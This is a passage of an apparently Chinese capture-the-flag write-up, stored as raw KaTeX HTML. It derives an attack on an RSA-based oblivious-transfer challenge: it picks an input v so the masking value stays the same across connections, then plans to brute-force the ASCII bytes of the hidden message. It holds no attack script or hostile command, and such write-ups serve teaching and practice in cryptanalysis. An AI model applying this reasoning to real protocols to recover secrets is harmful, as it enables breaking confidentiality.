style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.149108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.69224em;vertical-align:0em;"></span><span class="mrel amsrm">∴</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.149108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.048892em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.149108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>因此，当我们的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mo>=</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><mo>+</mo><msubsup><mi>x</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup></mrow><annotation encoding="application/x-tex">v=x_0-x_1+x_1&#x27;</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.24810799999999997em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span></span></span></span>时，被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mo stretchy="false">(</mo><mi>v</mi><mo separator="true">,</mo><msubsup><mi>x</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">F(v, x_1&#x27;)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.001892em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>加密过的值将会与<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">F(x_0, x_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>相同，从而保证能够<strong>在多次连接中获得相同的加密值</strong>。至此，我们就在多个连接中找到了不变量。</p><h3 id="题解推导">题解推导</h3><p>控制F获得同一个输出的意义在哪儿呢？首先，每一次都需要取猜测msg，乍一看每一次的数据都是独立的，不变量对于我们需要获取msg1有什么帮助呢？首先第一步，我们先确定我们要得到什么</p><blockquote><p>需要知道msg的值</p></blockquote><p>然后我们能够做什么</p><blockquote><p>控制输入v</p></blockquote><p>一个直观想法是，让v等于<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">x_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，但是此时官方会打印两个值:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mi>s</mi><mi>g</mi><mn>0</mn><mo>+</mo><mn>0</mn><mspace linebreak="newline"></mspace><mi>m</mi><mi>s</mi><mi>g</mi><mn>1</mn><mo>+</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">msg0+0 \\msg1+(x_0-x_1)^d mod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.149108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p>由于我们不知道d，所以无法算出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">(x_0-x_1)^d modN</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.099108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span></span></span></span>。到这里，有几种不同的思路：</p><ul><li>尝试获取d</li><li>直接爆破msg1</li></ul><p>这里考虑到我们已知的条件:</p><ul><li>多次连接下，可以获得相同的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mo stretchy="false">(</mo><mi>v</mi><mo separator="true">,</mo><msub><mi>x</mi><mi>i</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">F(v, x_i)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></li><li>msg的每一个字节取值均为ascii</li></ul><p>显然这个条件对于获取d没有什么帮助，乍一看好像也和直接爆破msg1没关系。我们这里设<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo>=</mo><mi>F</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mi>i</mi></msub><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">y = F(x_i,v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>，并设官方会打印数字<code>P = (msg1 + pow(v - x1, key.d, key.n)) % key.n</code>。如果我们进行了很多次的连接，同时将y控制不变，那么此时就有:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>=</mo><mi>m</mi><mi>s</mi><mi>g</mi><mn>1</mn><mo>+</mo><mi>y</mi><mspace linebreak="newline"></mspace><msup><mi>P</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>=</mo><mi>m</mi><mi>s</mi><mi>g</mi><msup><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>+</mo><mi>y</mi><mspace linebreak="newline"></mspace><msup><mi>P</mi><mrow><mo mathvariant="normal">′</mo><mo mathvariant="normal">′</mo></mrow></msup><mo>=</mo><mi>m</mi><mi>s</mi><mi>g</mi><msup><mn>1</mn><mrow><mo mathvariant="normal">′</mo><mo mathvariant="normal">′</mo></mrow></msup><mo>+</mo><mi>y</mi><mspace linebreak="newline"></mspace><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mspace linebreak="newline"></mspace><mtext>其中，msg1的每一个字节均为ascii</mtext></mrow><annotation encoding="application/x-tex">P=msg1+y \\P&#x27;=msg1&#x27;+y \\P&#x27;&#x27;=msg1&#x27;&#x27;+y \\... \\\text{其中，msg1的每一个字节均为ascii}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.801892em;vertical-align:0em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.996332em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span></span><span 